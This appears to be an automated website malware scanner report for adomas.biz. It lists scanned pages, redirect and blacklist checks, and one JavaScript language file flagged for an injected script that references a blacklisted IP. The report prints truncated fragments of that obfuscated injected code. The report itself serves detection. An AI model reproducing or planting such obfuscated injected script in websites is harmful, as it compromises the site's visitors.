New scan:

Malware Scanner report for adomas.biz

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://adomas.biz/
200 OK
Content-Length: 14580
Content-Type: text/html
clean
http://adomas.biz/node/10
200 OK
Content-Length: 5486
Content-Type: text/html
clean
http://adomas.biz/user/register
200 OK
Content-Length: 6165
Content-Type: text/html
clean
http://adomas.biz/misc/jquery.js?2
200 OK
Content-Length: 31089
Content-Type: text/javascript
clean
http://adomas.biz/misc/drupal.js?2
200 OK
Content-Length: 9834
Content-Type: text/javascript
clean
http://adomas.biz/sites/default/files/languages/lt_95db2abac3b769ba8147d958d1bc0ccc.js?2
200 OK
Content-Length: 4599
Content-Type: text/javascript
malicious
Malicious code found. Script contains blacklisted domain: 86.55.140.203

if (typeof(redef_colors)=="undefined") {
var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e4745', '#3d4444', '#3d4043', '#3f3d41', '#3f423e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000');
var redef_colors = 1;
var colors_picked = 0;
function div_pick_colors(t,
...[4480 bytes skipped]...

Decoded script:


try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_colors()
try_pick_c
...[17634 bytes skipped]...

http://adomas.biz/modules/user/user.js?2
200 OK
Content-Length: 7026
Content-Type: text/javascript
clean
http://adomas.biz/user
200 OK
Content-Length: 4351
Content-Type: text/html
clean
http://adomas.biz/user/password
200 OK
Content-Length: 3964
Content-Type: text/html
clean
http://adomas.biz/test404page.js
404 Not Found
Content-Length: 2801
Content-Type: text/html
clean
http://adomas.biz/user/login?destination=comment%2Freply%2F10%23comment-form
200 OK
Content-Length: 4390
Content-Type: text/html
clean
http://adomas.biz/user/register?destination=comment%2Freply%2F10%23comment-form
200 OK
Content-Length: 6213
Content-Type: text/html
clean
http://adomas.biz/node/12
200 OK
Content-Length: 5531
Content-Type: text/html
clean
http://adomas.biz/user/login?destination=comment%2Freply%2F12%23comment-form
200 OK
Content-Length: 4390
Content-Type: text/html
clean
http://adomas.biz/user/register?destination=comment%2Freply%2F12%23comment-form
200 OK
Content-Length: 6213
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: adomas.biz

Result:
HTTP/1.1 200 OK
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Mon, 15 Sep 2014 10:48:27 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Sep 2014 10:48:27 GMT
Set-Cookie: SESS5b772c8e7f49e1e20477e626351a4afc=gsuvo9tn8kl5qii2teo7sgeo56; expires=Wed, 08-Oct-2014 14:21:47 GMT; path=/; domain=.adomas.biz
Second query (visit from search engine):
GET / HTTP/1.1
Host: adomas.biz
Referer: http://www.google.com/search?q=adomas.biz

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=adomas.biz

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://adomas.biz/

Result: adomas.biz is not infected or malware details are not published yet.